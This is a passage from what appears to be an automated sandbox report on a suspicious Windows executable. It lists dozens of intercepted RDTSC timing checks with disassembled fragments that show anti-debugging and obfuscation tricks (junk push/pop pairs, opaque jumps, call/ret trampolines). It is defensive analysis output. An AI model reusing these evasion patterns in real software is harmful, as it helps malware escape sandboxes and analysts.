                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F054 second address: A3F058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3F058 second address: A3F0AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 75F18A93h 0x00000011 push 00000003h 0x00000013 pushad 0x00000014 mov esi, dword ptr [ebp+122D2EFDh] 0x0000001a mov dx, 8DE9h 0x0000001e popad 0x0000001f push 00000000h 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D200Fh], ecx 0x00000028 mov si, cx 0x0000002b popad 0x0000002c push 00000003h 0x0000002e and di, 9A25h 0x00000033 push E60ABD7Ah 0x00000038 pushad 0x00000039 jmp 00007F96C91A861Bh 0x0000003e push eax 0x0000003f push edx 0x00000040 jng 00007F96C91A8616h 0x00000046 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A50848 second address: A5084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5FF48 second address: A5FF61 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F96C91A8616h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C91A861Bh 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5FF61 second address: A5FF66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A29BB0 second address: A29BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F96C91A8616h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96C91A8629h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A29BD8 second address: A29BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5DF6C second address: A5DF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5E0A7 second address: A5E0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5E0AD second address: A5E0B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5E0B1 second address: A5E0B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5E0B7 second address: A5E0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5E0BD second address: A5E0C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5E50D second address: A5E511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5EA5B second address: A5EAB2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96C9132766h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jl 00007F96C9132766h 0x00000015 pop esi 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F96C9132779h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 pop eax 0x00000026 jmp 00007F96C913276Dh 0x0000002b pop eax 0x0000002c jnl 00007F96C913276Ch 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5EDC4 second address: A5EDF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8627h 0x00000007 jmp 00007F96C91A8622h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5EDF5 second address: A5EE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Bh 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5EE04 second address: A5EE15 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56423 second address: A56429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56429 second address: A5643F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F96C91A8616h 0x00000008 jnp 00007F96C91A8616h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5643F second address: A56443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56443 second address: A5644D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5644D second address: A56457 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F96C913276Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5F92E second address: A5F934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5F934 second address: A5F93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5F93C second address: A5F942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5F942 second address: A5F953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F96C9132766h 0x0000000a jnc 00007F96C9132766h 0x00000010 popad 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5F953 second address: A5F95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F96C91A8616h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5FDFF second address: A5FE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5FE04 second address: A5FE15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Ch 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3070E second address: A30714 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A65E0E second address: A65E28 instructions: 0x00000000 rdtsc 0x00000002 je 00007F96C91A861Ch 0x00000008 jnp 00007F96C91A8616h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 jc 00007F96C91A861Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2815B second address: A28161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A28161 second address: A28167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A28167 second address: A2816C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2816C second address: A2818C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F96C91A8616h 0x00000013 jl 00007F96C91A8616h 0x00000019 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2818C second address: A2819C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F96C9132768h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A2819C second address: A281A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A281A2 second address: A281AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F96C9132766h 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A281AC second address: A281B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6B3B5 second address: A6B3B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6B3B9 second address: A6B3BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6B4F5 second address: A6B4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6B4FB second address: A6B525 instructions: 0x00000000 rdtsc 0x00000002 js 00007F96C91A8616h 0x00000008 jmp 00007F96C91A8628h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F96C91A8616h 0x00000017 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6B525 second address: A6B535 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96C9132766h 0x00000008 js 00007F96C9132766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6B535 second address: A6B577 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8625h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jbe 00007F96C91A8616h 0x00000011 jne 00007F96C91A8616h 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F96C91A8626h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6B577 second address: A6B57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6D435 second address: A6D463 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F96C91A861Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 2248FBB1h 0x00000011 clc 0x00000012 pushad 0x00000013 mov si, di 0x00000016 mov edi, dword ptr [ebp+122D2D8Dh] 0x0000001c popad 0x0000001d push 5DC41514h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pushad 0x00000026 popad 0x00000027 pop eax 0x00000028 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6D806 second address: A6D80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6D8BD second address: A6D8C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6DEBF second address: A6DEC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6DF6F second address: A6DF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6E2A7 second address: A6E2AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6E913 second address: A6E919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6E919 second address: A6E931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F96C9132774h 0x0000000f pushad 0x00000010 jne 00007F96C9132766h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A70E18 second address: A70E2B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96C91A8618h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A70E2B second address: A70E31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A71A89 second address: A71AAE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F96C91A8625h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F96C91A8616h 0x00000015 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A71AAE second address: A71ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F96C9132776h 0x0000000d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A724F5 second address: A72549 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov si, 4DC2h 0x00000010 push 00000000h 0x00000012 jp 00007F96C91A8621h 0x00000018 jg 00007F96C91A861Bh 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F96C91A8618h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov dword ptr [ebp+12441DCDh], ebx 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push esi 0x00000045 pop esi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A72549 second address: A7254E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A73C0A second address: A73CA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F96C91A8618h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 cmc 0x00000026 push 00000000h 0x00000028 clc 0x00000029 adc di, F430h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F96C91A8618h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a mov edi, ebx 0x0000004c mov dword ptr [ebp+124552FFh], ebx 0x00000052 xchg eax, ebx 0x00000053 jns 00007F96C91A862Fh 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d jc 00007F96C91A8616h 0x00000063 jmp 00007F96C91A8627h 0x00000068 popad 0x00000069 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A756F0 second address: A756F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A756F5 second address: A756FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A756FD second address: A75703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7399D second address: A739A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A739A3 second address: A739A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A76FA1 second address: A76FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A76FA7 second address: A76FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A76FAD second address: A76FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A76FB2 second address: A76FB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7A902 second address: A7A912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7AEEE second address: A7AF17 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F96C9132778h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F96C9132768h 0x00000014 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7AF17 second address: A7AF1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7BFBA second address: A7BFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7BFBE second address: A7BFC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7BFC2 second address: A7BFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F96C913277Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F96C913276Ch 0x00000014 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7D17A second address: A7D1F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F96C91A8616h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 xor dword ptr [ebp+122D1F18h], eax 0x00000016 mov cx, bx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007F96C91A8618h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 mov edi, ebx 0x00000038 mov dword ptr [ebp+1244240Dh], ebx 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 call 00007F96C91A8618h 0x00000048 pop eax 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d add dword ptr [esp+04h], 00000016h 0x00000055 inc eax 0x00000056 push eax 0x00000057 ret 0x00000058 pop eax 0x00000059 ret 0x0000005a mov edi, dword ptr [ebp+122D283Fh] 0x00000060 mov edi, 4CD48053h 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7D1F5 second address: A7D1F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7D1F9 second address: A7D20E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7E014 second address: A7E097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132772h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007F96C913276Ah 0x00000011 nop 0x00000012 pushad 0x00000013 mov eax, dword ptr [ebp+122D2F39h] 0x00000019 mov eax, ebx 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F96C9132768h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 jg 00007F96C9132769h 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push esi 0x00000043 call 00007F96C9132768h 0x00000048 pop esi 0x00000049 mov dword ptr [esp+04h], esi 0x0000004d add dword ptr [esp+04h], 00000016h 0x00000055 inc esi 0x00000056 push esi 0x00000057 ret 0x00000058 pop esi 0x00000059 ret 0x0000005a and bl, 00000062h 0x0000005d push eax 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 push edi 0x00000062 pop edi 0x00000063 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7F218 second address: A7F21D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8576C second address: A857EC instructions: 0x00000000 rdtsc 0x00000002 je 00007F96C9132766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D39BFh], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F96C9132768h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F96C9132768h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f jmp 00007F96C9132772h 0x00000054 jmp 00007F96C913276Dh 0x00000059 popad 0x0000005a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8684F second address: A868D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F96C91A8624h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F96C91A8618h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D3B99h] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F96C91A8618h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b stc 0x0000004c push 00000000h 0x0000004e jmp 